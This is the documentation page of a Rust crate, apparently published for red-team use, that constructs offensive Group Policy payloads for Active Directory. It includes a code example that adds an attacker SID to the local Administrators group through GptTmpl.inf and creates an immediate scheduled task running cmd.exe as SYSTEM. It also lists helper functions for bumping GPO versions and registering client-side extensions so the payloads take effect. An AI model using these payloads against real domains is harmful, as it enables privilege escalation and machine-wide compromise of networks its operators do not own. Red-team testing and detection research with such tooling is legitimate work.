gpo-forge 0.1.0

Offensive Group Policy Object write payloads: AddLocalAdmin (GptTmpl.inf), NewImmediateTask (ScheduledTasks.xml), gPCMachineExtensionNames CSE-list builder, and gpt.ini / versionNumber bump helpers. The offline payload-construction half of a SharpGPOAbuse-equivalent; SYSVOL write and LDAP modify are the caller's transport.
Documentation
  • Coverage
  • 100%
    11 out of 11 items documented0 out of 6 items with examples
  • Size
  • Source code size: 23.7 kB This is the summed size of all the files inside the crates.io package for this release.
  • Documentation size: 112.0 kB This is the summed size of all files generated by rustdoc for all configured targets
  • Ø build duration
  • this release: 2s Average build duration of successful builds.
  • all releases: 2s Average build duration of successful builds in releases after 2024-10-23.
  • Links
  • Repository
  • crates.io
  • Dependencies
  • Versions
  • Owners
  • icedracon

gpo-forge

Offensive Group Policy Object write payloads, in pure Rust — the offline payload-construction half of a SharpGPOAbuse-equivalent.

Once you've confirmed Write on a GPO (via ad-acl grants inspection), you can turn that into machine or user compromise by dropping a small set of well-known files into SYSVOL. This crate builds those files. SYSVOL SMB write and LDAP modify are the caller's transport (smb2-client + adhammer-ldap / msldap-ext / ldap3).

use gpo_forge::{add_local_admin_gpttmpl, new_immediate_task_xml, gpt_ini, bump_gpo_version_number,
                cse_list_add, CSE_GUID_SCHEDULED_TASKS, TOOLEXT_GUID_GPP};

// AddLocalAdmin: append attacker SID to BUILTIN\Administrators via Security CSE.
let gpttmpl = add_local_admin_gpttmpl("S-1-5-21-1-2-3-1104", &[]);
// Write to \\domain\SYSVOL\<dom>\Policies\{<GUID>}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf

// NewImmediateTask: run cmd.exe as SYSTEM at next gpupdate.
let xml = new_immediate_task_xml(
    "AuditRun",
    "{12345678-1234-1234-1234-123456789abc}",
    "corp\\audit-svc",
    "C:\\Windows\\System32\\cmd.exe",
    Some("/c whoami > C:\\a.txt"),
);
// Write to Machine\Preferences\ScheduledTasks\ScheduledTasks.xml

// Then bump gpt.ini + LDAP versionNumber + gPCMachineExtensionNames.
let ini  = gpt_ini("Adhammer Test GPO", 5);
let new_ver = bump_gpo_version_number(current_version, /*computer_bump=*/ true);
let new_cse_list = cse_list_add(&existing_gpcm_ext_names,
                                CSE_GUID_SCHEDULED_TASKS, TOOLEXT_GUID_GPP);

What it gives you

  • add_local_admin_gpttmpl — GptTmpl.inf for Security-CSE Group Membership override.
  • new_immediate_task_xml — ScheduledTasks.xml for SYSTEM Immediate task RCE.
  • gpt_ini — GPO-root gpt.ini with the required Version= bump.
  • bump_gpo_version_number / split_gpo_version_number — the packed user/computer counter math.
  • cse_list_add — merge a CSE + toolExtension GUID pair into gPCMachineExtensionNames / gPCUserExtensionNames.
  • CSE_GUID_SECURITY / CSE_GUID_SCHEDULED_TASKS / TOOLEXT_GUID_SECURITY / TOOLEXT_GUID_GPP — the CSE GUIDs the two attacks need registered.

What it doesn't do

  • No SYSVOL SMB write — use smb2-client or your existing SMB layer.
  • No LDAP write for versionNumber / gPCMachineExtensionNames — use adhammer-ldap / msldap-ext / ldap3.
  • No permission preflight — use ad-acl on the target GPO's nTSecurityDescriptor first.
  • No cleanup — after a red-team engagement, restore the original GptTmpl.inf / ScheduledTasks.xml from a snapshot the caller took before the write.

License

MIT